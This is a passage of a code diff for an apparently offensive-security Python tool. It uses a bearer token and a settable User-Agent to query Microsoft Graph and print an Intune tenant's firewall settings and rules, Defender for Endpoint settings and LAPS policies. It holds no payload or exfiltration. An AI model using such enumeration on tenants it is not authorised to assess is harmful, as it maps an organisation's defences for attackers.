+ "vendor_msft_firewall_mdmstore_global_ipsecexempt_8": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_DHCP: Exempt both IPv4 and IPv6 DHCP traffic from IPsec.",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm": {
+ "displayName": "Opportunistically Match Auth Set Per KM",
+ "options": {
+ "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_false": "FALSE",
+ "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_true": "TRUE",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_global_presharedkeyencoding": {
+ "displayName": "Preshared Key Encoding",
+ "options": {
+ "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_0": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_NONE: Preshared key is not encoded. Instead, it is kept in its wide-character format. This symbolic constant has a value of 0.",
+ "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_1": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_UTF_8: Encode the preshared key using UTF-8. This symbolic constant has a value of 1.",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_global_saidletime": {
+ "displayName": "Security association idle time",
+ "options": {}
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge": {
+ "displayName": "Allow Local Ipsec Policy Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off",
+ "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge": {
+ "displayName": "Auth Apps Allow User Pref Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off",
+ "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets": {
+ "displayName": "Enable Log Dropped Packets",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets",
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast": {
+ "displayName": "Disable Unicast Responses To Multicast Broadcast",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked",
+ "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_shielded": {
+ "displayName": "Shielded",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_shielded_false": "Shielding Off",
+ "vendor_msft_firewall_mdmstore_domainprofile_shielded_true": "Shielding On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge": {
+ "displayName": "Allow Local Policy Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off",
+ "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction": {
+ "displayName": "Default Outbound Action",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_0": "Allow Outbound By Default",
+ "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_1": "Block Outbound By Default",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules": {
+ "displayName": "Enable Log Ignored Rules",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules",
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications": {
+ "displayName": "Disable Inbound Notifications",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_false": "Firewall May Display Notification",
+ "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections": {
+ "displayName": "Enable Log Success Connections",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections",
+ "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_logfilepath": {
+ "displayName": "Log File Path",
+ "options": {}
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall": {
+ "displayName": "Enable Domain Network Firewall",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_false": "Disable Firewall",
+ "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_true": "Enable Firewall",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_logmaxfilesize": {
+ "displayName": "Log Max File Size",
+ "options": {}
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge": {
+ "displayName": "Global Ports Allow User Pref Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off",
+ "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction": {
+ "displayName": "Default Inbound Action for Domain Profile",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_0": "Allow Inbound By Default",
+ "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_1": "Block Inbound By Default",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption": {
+ "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE",
+ "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode": {
+ "displayName": "Disable Stealth Mode",
+ "options": {
+ "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_false": "Use Stealth Mode",
+ "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_true": "Disable Stealth Mode",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge": {
+ "displayName": "Allow Local Ipsec Policy Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off",
+ "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge": {
+ "displayName": "Auth Apps Allow User Pref Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off",
+ "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall": {
+ "displayName": "Enable Private Network Firewall",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_false": "Disable Firewall",
+ "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_true": "Enable Firewall",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_logmaxfilesize": {
+ "displayName": "Log Max File Size",
+ "options": {}
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge": {
+ "displayName": "Global Ports Allow User Pref Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off",
+ "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction": {
+ "displayName": "Default Inbound Action for Private Profile",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_0": "Allow Inbound By Default",
+ "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_1": "Block Inbound By Default",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast": {
+ "displayName": "Disable Unicast Responses To Multicast Broadcast",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked",
+ "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_logfilepath": {
+ "displayName": "Log File Path",
+ "options": {}
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode": {
+ "displayName": "Disable Stealth Mode",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_false": "Use Stealth Mode",
+ "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_true": "Disable Stealth Mode",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets": {
+ "displayName": "Enable Log Dropped Packets",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets",
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption": {
+ "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE",
+ "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications": {
+ "displayName": "Disable Inbound Notifications",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_false": "Firewall May Display Notification",
+ "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections": {
+ "displayName": "Enable Log Success Connections",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections",
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_shielded": {
+ "displayName": "Shielded",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_shielded_false": "Shielding Off",
+ "vendor_msft_firewall_mdmstore_privateprofile_shielded_true": "Shielding On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge": {
+ "displayName": "Allow Local Policy Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off",
+ "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction": {
+ "displayName": "Default Outbound Action",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_0": "Allow Outbound By Default",
+ "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_1": "Block Outbound By Default",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules": {
+ "displayName": "Enable Log Ignored Rules",
+ "options": {
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules",
+ "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast": {
+ "displayName": "Disable Unicast Responses To Multicast Broadcast",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked",
+ "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge": {
+ "displayName": "Global Ports Allow User Pref Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off",
+ "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption": {
+ "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE",
+ "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_shielded": {
+ "displayName": "Shielded",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_shielded_false": "Shielding Off",
+ "vendor_msft_firewall_mdmstore_publicprofile_shielded_true": "Shielding On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge": {
+ "displayName": "Allow Local Policy Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off",
+ "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction": {
+ "displayName": "Default Outbound Action",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_0": "Allow Outbound By Default",
+ "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_1": "Block Outbound By Default",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules": {
+ "displayName": "Enable Log Ignored Rules",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules",
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications": {
+ "displayName": "Disable Inbound Notifications",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_false": "Firewall May Display Notification",
+ "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections": {
+ "displayName": "Enable Log Success Connections",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections",
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge": {
+ "displayName": "Allow Local Ipsec Policy Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off",
+ "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge": {
+ "displayName": "Auth Apps Allow User Pref Merge",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off",
+ "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_logfilepath": {
+ "displayName": "Log File Path",
+ "options": {}
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall": {
+ "displayName": "Enable Public Network Firewall",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_false": "Disable Firewall",
+ "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_true": "Enable Firewall",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_logmaxfilesize": {
+ "displayName": "Log Max File Size",
+ "options": {}
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets": {
+ "displayName": "Enable Log Dropped Packets",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets",
+ "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction": {
+ "displayName": "Default Inbound Action for Public Profile",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_0": "Allow Inbound By Default",
+ "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_1": "Block Inbound By Default",
+ }
+ },
+ "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode": {
+ "displayName": "Disable Stealth Mode",
+ "options": {
+ "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_false": "Use Stealth Mode",
+ "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_true": "Disable Stealth Mode",
+ }
+ },
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection": {
+ "displayName": "Object Access Audit Filtering Platform Connection",
+ "options": {
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_0": "Off/None",
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_1": "Success",
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_2": "Failure",
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_3": "Success+Failure",
+ }
+ },
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop": {
+ "displayName": "Object Access Audit Filtering Platform Packet Drop",
+ "options": {
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_0": "Off/None",
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_1": "Success",
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_2": "Failure",
+ "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_3": "Success+Failure",
+ }
+ },
+ }
+
+ def process_setting(setting, indent=""):
+ setting_instance = setting.get('settingInstance', {})
+ setting_id = setting_instance.get('settingDefinitionId', '')
+
+ if setting_id in settings_map:
+ display_name = settings_map[setting_id]['displayName']
+ print(f"{indent}{display_name} : ", end="")
+ else:
+ print(f"{indent}Setting: {setting_id} : ", end="")
+ if '@odata.type' in setting_instance:
+ setting_type = setting_instance['@odata.type'].split('.')[-1]
+
+ if setting_type == 'deviceManagementConfigurationChoiceSettingInstance':
+ process_choice_setting(setting_instance, indent)
+ elif setting_type == 'deviceManagementConfigurationSimpleSettingInstance':
+ process_simple_setting(setting_instance, indent)
+ elif setting_type == 'deviceManagementConfigurationChoiceSettingCollectionInstance':
+ process_choice_collection_setting(setting_instance, indent)
+ else:
+ print(f"Unsupported setting type: {setting_type}")
+
+ def process_choice_setting(setting_instance, indent):
+ choice_value = setting_instance.get('choiceSettingValue', {})
+ value = choice_value.get('value', '')
+
+ setting_id = setting_instance.get('settingDefinitionId', '')
+ if setting_id in settings_map and value in settings_map[setting_id]['options']:
+ print(f"{settings_map[setting_id]['options'][value]}")
+ else:
+ print(f"{value}")
+
+ for child in choice_value.get('children', []):
+ process_setting({'settingInstance': child}, indent + " ")
+
+ def process_simple_setting(setting_instance, indent):
+ simple_value = setting_instance.get('simpleSettingValue', {})
+ value = simple_value.get('value', '')
+ print(f"{value}")
+
+ def process_choice_collection_setting(setting_instance, indent):
+ choice_collection = setting_instance.get('choiceSettingCollectionValue', [])
+ values = []
+ for choice in choice_collection:
+ value = choice.get('value', '')
+
+ setting_id = setting_instance.get('settingDefinitionId', '')
+ if setting_id in settings_map and value in settings_map[setting_id]['options']:
+ values.append(settings_map[setting_id]['options'][value])
+ else:
+ values.append(value)
+ print(", ".join(values))
+
+ def print_profile_settings(response_json, profile_type):
+ print(f"\n{profile_type} Profile Settings")
+ print("-" * 80)
+ for setting in response_json.get('value', []):
+ setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '')
+ if profile_type.lower() in setting_id.lower():
+ process_setting(setting)
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+
+ print("\nGlobal Settings")
+ print("-" * 80)
+ for setting in response_json.get('value', []):
+ setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '')
+ if 'global' in setting_id.lower():
+ process_setting(setting)
+
+ print("\nAudit Settings")
+ print("-" * 80)
+ for setting in response_json.get('value', []):
+ setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '')
+ if 'audit' in setting_id.lower():
+ process_setting(setting)
+
+ print_profile_settings(response_json, "Domain")
+ print_profile_settings(response_json, "Private")
+ print_profile_settings(response_json, "Public")
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# display-firewallrulepolicyrules - actual firewall rules
+def display_firewallrulepolicyrules(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Display-FirewallRulePolicyRules command")
+ return
+
+ print_yellow("[*] Display-FirewallRulePolicyRules")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for setting in response_json.get('value', []):
+ if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance":
+ for group in setting['settingInstance'].get('groupSettingCollectionValue', []):
+ rule_name = ""
+ rule_action = ""
+ rule_direction = ""
+ rule_enabled = ""
+ rule_local_ports = ""
+ rule_remote_ports = ""
+ rule_description = ""
+ rule_interfaces = []
+ for child in group.get('children', []):
+ setting_def_id = child['settingDefinitionId']
+ if setting_def_id.endswith("_name"):
+ rule_name = child['simpleSettingValue']['value']
+ elif setting_def_id.endswith("_action_type"):
+ rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK"
+ elif setting_def_id.endswith("_direction"):
+ rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND"
+ elif setting_def_id.endswith("_enabled"):
+ rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED"
+ elif setting_def_id.endswith("_localportranges"):
+ rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']])
+ elif setting_def_id.endswith("_remoteportranges"):
+ rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']])
+ elif setting_def_id.endswith("_description"):
+ rule_description = child['simpleSettingValue']['value']
+ elif setting_def_id.endswith("_interfacetypes"):
+ rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']]
+ rule_interfaces = ", ".join(rule_interfaces)
+ print(f"Rule Name : {rule_name}")
+ print(f"Action : {rule_action}")
+ print(f"Direction : {rule_direction}")
+ print(f"Enabled : {rule_enabled}")
+ print(f"Local Ports : {rule_local_ports}")
+ print(f"Remote Ports : {rule_remote_ports}")
+ print(f"Description : {rule_description}")
+ print(f"Interfaces : {rule_interfaces}")
+ print()
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# display-edrpolicyrules
+def display_edrpolicyrules(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command")
+ return
+
+ print_yellow("[*] Display-EDRPolicyRules")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ settings_map = {
+ "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type",
+ "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing",
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.status_code == 200:
+ response_json = response.json()
+ for setting in response_json.get('value', []):
+ if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']:
+ value_field = setting['settingInstance']['choiceSettingValue'].get('value')
+ if value_field:
+ cleaned_value = value_field.rstrip('_01onboard')
+ if cleaned_value in settings_map:
+ setting_text = settings_map[cleaned_value]
+ if value_field.endswith('_1'):
+ print(f"ENABLED : {setting_text}")
+ elif value_field.endswith('_0'):
+ print(f"DISABLED : {setting_text}")
+ elif value_field.endswith('_onboard'):
+ print(f"ONBOARD : {setting_text}")
+ else:
+ print(f"{setting_text} - {value_field}")
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# display-lapsaccountprotectionpolicyrules
+def display_lapsaccountprotectionpolicyrules(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command")
+ return
+
+ print_yellow("[*] Display-LAPSAccountProtectionPolicyRules")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'Content-Type': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ settings_map = {
+ "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type",
+ "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing",
+ "device_vendor_msft_laps_policies_backupdirectory": {
+ "description": "Backup Directory",
+ "values": {
+ "0": "Disabled (password will not be backed up)",
+ "1": "Backup the password to Azure AD only",
+ "2": "Backup the password to Active Directory only"
+ }
+ },
+ "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days",
+ "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)",
+ "device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": {
+ "description": "Password Expiration Protection",
+ "values": {
+ "0": "Password Expiration Protection Disabled",
+ "1": "Password Expiration Protection Enabled"
+ }
+ },
+ "device_vendor_msft_laps_policies_adpasswordencryptionenabled": {
+ "description": "AD Password Encryption",
+ "values": {
+ "0": "AD Password Encryption Disabled",
+ "1": "AD Password Encryption Enabled"
+ }
+ },
+ "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal",
+ "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size",
+ "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name",
+ "device_vendor_msft_laps_policies_passwordcomplexity": {
+ "description": "Password Complexity",
+ "values": {
+ "1": "Large letters",
+ "2": "Large letters + small letters",
+ "3": "Large letters + small letters + numbers",
+ "4": "Large letters + small letters + numbers + special characters",
+ "5": "Large letters + small letters + numbers + special characters (improved readability)"
+ }
+ },
+ "device_vendor_msft_laps_policies_passwordlength": "Password Length",
+ "device_vendor_msft_laps_policies_postauthenticationactions": {
+ "description": "Post Authentication Actions",
+ "values": {
+ "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.",
+ "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.",
+ "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted."
+ }
+ },
+ "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay"
+ }
+
